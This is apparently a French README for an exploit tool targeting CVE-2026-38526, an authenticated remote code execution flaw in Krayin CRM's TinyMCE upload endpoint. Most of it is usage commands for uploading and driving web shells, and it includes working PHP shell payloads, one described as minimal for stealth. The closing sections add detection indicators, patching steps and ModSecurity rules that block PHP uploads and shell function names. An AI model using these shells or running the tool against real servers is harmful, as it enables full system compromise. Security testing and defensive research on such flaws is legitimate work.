
CVE-2026-38526 exploit pour Krayin CRM v2.2.x - RCE authentifié via contournement du téléchargement de fichiers TinyMCE. Caractéristiques : shell interactif, payloads multi-types, génération automatique de shell, et vérification. Auteur : Sudeepa Wanigarathna. Pour tests autorisés uniquement.
⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT - Toute utilisation non autorisée est illégale et contraire à l'éthique.
Cet outil d'exploitation démontre une vulnérabilité critique d'exécution de code à distance (RCE) authentifiée découverte dans Krayin CRM version 2.2.x. La vulnérabilité réside dans la fonctionnalité de téléchargement de fichiers TinyMCE, qui permet aux administrateurs authentifiés de télécharger et d'exécuter du code PHP arbitraire sur le serveur.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2026-38526 |
| Logiciel concerné | Krayin CRM v2.2.x |
| Type de vulnérabilité | Exécution de code à distance authentifiée (RCE) |
| Authentification requise | Oui (accès niveau Administrateur) |
| Impact | Compromission complète du système |
| Score CVSS | 8,8 (Élevé) |
La vulnérabilité provient d'une validation insuffisante du type de fichier dans le point de terminaison de téléchargement de fichiers TinyMCE (/admin/tinymce/upload). Un administrateur authentifié peut :
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <URL_CIBLE> -u <NOM_UTILISATEUR> -p <MOT_DE_PASSE> [OPTIONS]
| Paramètre | Description |
|---|---|
-t, --target | URL cible (ex. http://192.168.1.100) |
-u, --username | Nom d'utilisateur ou email administrateur |
-p, --password | Mot de passe administrateur |
# Exploitation de base avec shell généré
python3 exploit.py -t http://target.com -u [email protected] -p password
# Télécharger un fichier shell PHP personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Générer un shell avancé avec mode interactif
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Générer un fichier shell sans exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Utiliser un proxy pour les tests / le débogage
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Sortie JSON pour l'automatisation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Mode verbeux avec délai d'attente personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# User-Agent et en-têtes personnalisés
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Shell basique (basic)
Exécution de commande simple avec la fonction system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Shell avancé (advanced)
Shell riche en fonctionnalités avec :
Shell minimal (minimal)
Empreinte minimale pour la discrétion.
<?php system($_GET["cmd"]); ?>
Gestionnaire de fichiers (file_manager)
Interface complète de gestion de fichiers :
Shell personnalisé (custom)
Utilisez votre propre fichier shell PHP avec le paramètre -f.
Sortie colorée lisible par l'homme, adaptée à une utilisation interactive.
-o json)Format lisible par machine pour l'automatisation et l'intégration.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Aucune sortie sauf pour les erreurs. Utile pour le traitement par lots.
| Option | Description | Valeur par défaut |
|---|---|---|
--timeout | Délai d'attente de la requête en secondes | 30 |
--retry | Nombre de tentatives de nouvelle tentative | 3 |
--retry-delay | Délai entre les tentatives en secondes | 2 |
--user-agent | Chaîne User-Agent personnalisée | UA navigateur par défaut |
--header | En-têtes HTTP personnalisés (Clé : Valeur) | Aucun |
--verify-ssl | Vérifier les certificats SSL | False |
--proxy | URL du proxy HTTP/HTTPS | Aucun |
-v, --verbose | Activer la sortie de débogage | False |
-q, --quiet | Supprimer toute sortie | False |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Fichiers à surveiller :
public/storage/upload/image.php.jpg)Journaux à vérifier :
/admin/tinymce/uploadIndicateurs système :
Actions immédiates :
# Mettre à jour vers la version corrigée
composer update krayin/crm
# Désactiver temporairement l'accès administrateur
# Supprimer les comptes administrateur inutiles
# Changer tous les mots de passe administrateur
Durcissement du téléchargement de fichiers :
// Valider le type de fichier par le contenu, pas seulement par l'extension
// Implémenter une politique de sécurité du contenu
// Utiliser un pare-feu applicatif Web (WAF)
// Activer l'analyse du téléchargement de fichiers
Contrôle d'accès :
# Restreindre les IP administrateur dans .htaccess
# Implémenter l'authentification multifacteur pour les comptes administrateur
# Audit régulier des administrateurs
# Politiques de délai d'expiration de session
Règles WAF (ModSecurity) :
# Bloquer les téléchargements de fichiers suspects
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Bloquer les shells web
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
Cette vulnérabilité a été découverte dans le cadre d'une recherche en sécurité responsable. Le processus de divulgation a suivi les étapes suivantes :
CE LOGICIEL EST FOURNI "EN L'ÉTAT" ET TOUTE GARANTIE EXPRESSE OU IMPLICITE,
Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES IMPLICITES DE QUALITÉ MARCHANDE
ET D'ADÉQUATION À UN USAGE PARTICULIER SONT DÉCLINÉES. EN AUCUN CAS
L'AUTEUR NE POURRAIT ÊTRE TENU RESPONSABLE DE TOUT DOMMAGE DIRECT, INDIRECT,
ACCESSOIRE, SPÉCIAL, EXEMPLAIRE OU CONSÉCUTIF DÉCOULANT DE L'UTILISATION
DE CE LOGICIEL.
L'UTILISATION DE CET OUTIL À D'AUTRES FINS QUE DES TESTS DE SÉCURITÉ AUTORISÉS
EST ILLÉGALE ET CONTRAIRE À L'ÉTHIQUE. L'AUTEUR N'ASSUME AUCUNE RESPONSABILITÉ
EN CAS D'UTILISATION NON AUTORISÉE OU DE DOMMAGES CAUSÉS PAR CET OUTIL.
Problème : L'authentification échoue
/admin/loginProblème : Le téléchargement de fichier échoue
Problème : Le shell n'exécute pas les commandes
php.iniecho testProblème : Erreurs de certificat SSL
--verify-ssl ou désactivez la vérification# Activer la journalisation verbeuse
python3 exploit.py -t http://target.com -u admin -p pass -v
# Avec proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
Les contributions sont les bienvenues ! Veuillez vous assurer de :
Si vous trouvez cet outil utile pour la recherche en sécurité, veuillez considérer :
Créé avec ❤️ pour la recherche en sécurité
Souvenez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez ces connaissances avec sagesse !
# Référence rapide
python3 exploit.py -t URL -u UTILISATEUR -p MOT_DE_PASSE [OPTIONS]
# Options :
# -f FICHIER Télécharger un shell personnalisé
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Mode interactif
# --proxy URL Proxy HTTP
# -v Sortie verbeuse
# -o json Sortie JSON
# --generate-only Créer un shell sans exploiter
# --timeout SEC Délai d'attente de la requête
# --retry N Nombre de tentatives
# --user-agent UA User-Agent personnalisé
# --header "K: V" En-têtes personnalisés
# --verify-ssl Vérifier les certificats SSL
# -q, --quiet Supprimer la sortie
🔒 N'oubliez pas : Obtenez toujours une autorisation écrite avant de tester un système !